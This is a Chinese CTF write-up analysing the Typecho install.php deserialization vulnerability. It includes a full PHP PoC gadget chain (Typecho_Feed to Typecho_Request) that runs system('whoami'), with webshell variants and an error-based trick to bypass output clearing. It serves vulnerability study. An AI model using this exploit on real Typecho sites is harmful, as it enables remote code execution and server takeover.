在刷buu 的时候做到一道关于 Typecho 的题 ,[GKCTF2020]EZ三剑客-EzTypecho wp 中说到可以利用Typecho 的 反序列化 poc 来打,感觉直接用现成的poc 打,方便是方便,但是并没有深入了解这个漏洞。还是想深入了解一下这个漏洞,所以本着好奇和学习的态度,遂自己动手分析了一下 Typecho 的反序列化漏洞,加深理解
首先 git clone 到本地,然后phpstorm 打开,
git reset hard 到漏洞修复之前的commit
首先在install.php 开头就做出了两个判断,需要finish 参数以及refer头要是本站的值
核心漏洞处:
第一行直接反序列化Typecho_Cookie::get(’__typecho_config’),没有进行任何过滤
跟进Typecho_Cookie::get() 函数
发现此函数是用来取cookie 中的值的,但是如果对应的值没有,如果post中设置了也会成功取出。
然后取出值之后 new 了一个Typecho_Db 对象
跟进Typecho_Db 构造函数:
发现了直接把 传入进来的 $adapterName 进行了字符串拼接操作,那么如果$adapterName 是一个对象的话,就会触发__toString()魔术方法
所以开始全局搜索fucntiong _toString() :
找到三个
看了看Config.php 中的和 Query.php 中的都不怎么好利用,
query.php:
config.php
config.php里面感觉可以利用__sleep() 函数,但是全局搜索_sleep() ,没找到__sleep()
Feed.php中的这个
还有这个:
发现使用了 $item[‘author’] ->screenName , 而这个 $item 是 $this->_items 里面循环出来的,是可以控制的,那我们就可以设法使用__get() 魔术方法,将$item[‘author’] 赋值为一个对象,那么对象中的screenName 不可访问的时候(私有或者不存在) 就会调用__get() 魔术方法
所以接下来全局搜索 function __get(
共找到7个 :
看了看其他六个好像并不能直接利用,然后Request.php 里面这个:
跟进$this->get
函数最后调用了一个_applyFilter() 函数,跟进
发现敏感函数 call_user_func ,而且里面的两个参数 $filter 来自 $this->_filter 循环出来的 ,$value 则是由上面get() 函数中传参进来的,也是可控的。那么我们就可以构造$\filter 为 system , $value 为 whoami ,就可以命令执行了
Poc :
class Typecho_Request
{
private $_filter = array('system');
private $_params = array('screenName'=>'whoami');
//也可以直接写webshell
//windows:
//private $_params = array('screenName'=>'echo " ke.php');
// linux:
//private $_params = array('screenName'=>'echo " ke.php');
}
class Typecho_Feed
{
const RSS1 = 'RSS 1.0';
const RSS2 = 'RSS 2.0';
const ATOM1 = 'ATOM 1.0';
const EOL = "\n";
const DATE_RFC822 = 'r';
private $_baseUrl ='1';
private $_feedUrl ='1';
private $_lang = '1';
private $_subTitile = '1';
private $_type = 'RSS 2.0';
private $_items ;
public function __construct(){
// private 属性 赋值new 对象的时候不能直接赋值,要使用__construct() 函数来赋值
$this->_items = array(
array(
'author' => new Typecho_Request(),'title'=>'1','link'=>'1','data'=>'1332427715',
)
);
}
}
$config['adapter'] = new Typecho_Feed();
$config['prefix'] = '1';
echo base64_encode(serialize($config));
但是直接用这个poc 打 发现并没有返回结果:
查阅资料 :
https://www.anquanke.com/post/id/155306#h2-2中说到是因为开启了ob_start()
install. php 中的ob_start()
在Common.php中,存在一个异常捕获函数,会清空缓冲区
在源代码中其实就是对应:
把他注释掉,成功返回命令结果
但是实际情况中不能直接去注释源代码,所以根据 https://www.anquanke.com/post/id/155306#h2-2 里说的,我们想办法让程序直接报错,退出不进行异常捕获,比如下面这里
假如把$itemp[‘content’] 设置成 数组(一开始试着把$item[‘excerpt’]设置为数组,但是由于前面有一个strip_tags(),而strip_tags 处理一个数组不会报错,只会返回worring ),那么对数组进行字符串拼接操作就会报错 退出,程序就不会运行到异常捕捉那里,自然也不会进行ob_end_clean() 了,所以修改之后的payload为:
class Typecho_Request
{
private $_filter = array('system');
private $_params = array('screenName'=>'whoami');
//也可以直接写webshell
//windows:
//private $_params = array('screenName'=>'echo " ke.php');
// linux:
//private $_params = array('screenName'=>'echo " ke.php');
}
class Typecho_Feed
{
const RSS1 = 'RSS 1.0';
const RSS2 = 'RSS 2.0';
const ATOM1 = 'ATOM 1.0';
const EOL = "\n";
const DATE_RFC822 = 'r';
private $_baseUrl ='1';
private $_feedUrl ='1';
private $_lang = '1';
private $_subTitile = '1';
private $_type = 'RSS 2.0';
private $_items ;
public function __construct(){
// private 属性 赋值new 对象的时候不能直接赋值,要使用__construct() 函数来赋值
$this->_items = array(
array(
'author' => new Typecho_Request(),'title'=>'1','link'=>'1','data'=>'1332427715',
// 添加 content
'content' => array(1,2),
)
);
}
}
$config['adapter'] = new Typecho_Feed();
$config['prefix'] = '1';
echo base64_encode(serialize($config));
1.在找反序列化利用链的时候,本次使用了__toString() ,__get() 魔术方法,关于找__get() 触发的地方,可以在相应的函数中搜索 ‘->’ 然后如果两边都是可控的话,就可以把左边设置为对象,后边设置为一个不存在的属性。
2.另外 assert() 在php 7 中变成了一个语言结构,在call_user_function 中就不能设置 assert 了,所以可以考虑设置 system 来执行系统命令
3.遇到异常捕捉中有ob_end_clean() 导致不能回显的话,可以设法让php 报错,不能执行到异常捕捉的地方,来实现绕过。
回到这道题目中来,题目加了一个session 判断,要求需要有session
我们知道在 php 中 如果上传文件的同时 带一个带上php_session_upload_progress (session.upload_progress.name 值)字段,并且cookie带上PHPSESSID (session.name 值) ,那么服务端会自动为我们创建一个名为sess_加上我们cookie中带上的PHPSESSID值 的 文件。
其实只要session.use_strict_mode 是关闭的(默认值是 0 ) ,然后在cookie 中 带上PHPSESSID(session.name 的值) 就可以实现让服务端产生session 文件。
结合我们利用上面的poc ,发送如下数据包,成功命令执行
也可以直接用上面脚本生成webshell
然后蚁剑连接,成功得到flag: